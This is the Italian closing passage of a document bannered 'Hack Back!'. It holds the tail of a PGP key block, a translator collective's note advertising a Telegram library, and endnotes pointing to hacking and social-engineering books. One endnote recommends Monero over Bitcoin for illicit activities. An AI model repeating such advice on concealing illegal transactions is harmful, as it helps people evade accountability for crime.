OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y

—–END PGP PUBLIC KEY BLOCK—–

        Se non tu, chi? Se non ora, quando?
 _   _            _      ____             _    _ 
| | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
| |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
|  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

Note del traduttore:

Questo documento è stato tradotto in italiano dal collettivo Rafanidu, siamo consapevoli che la traduzione su certi aspetti non renda, ma non è per nulla facile tradurre determinati termini del mondo informatico, in ogni caso speriamo che il testo possa essere di aiuto a più persone possibili.
Di seguito ci siamo permessi di rilasciare a fine documento una serie di note di aggiornamento, in quanto sono passati almeno due anni dalla pubblicazione e certi concetti necessitano di essere aggiornati, inoltre vi offriamo su Telegram una libreria digitale con svariate risorse, per imparare la programmazione e altro in formato digitale.

Note al testo:

[1] Bitcoin non è più la miglior soluzione per attività illecite, a sostituirlo sono comparse diverse monete tra cui Monero
[2] Il libro Google Hacking for Penetration Testers è disponibile sul nostro canale nelle risorse citate prima al tag #hacking e #google assieme ad altri libri utili sull’argomento.
[3] Libri sull’ingegneria sociale possono essere trovati nella nostra libreria al tag #socialengineering e #hacking.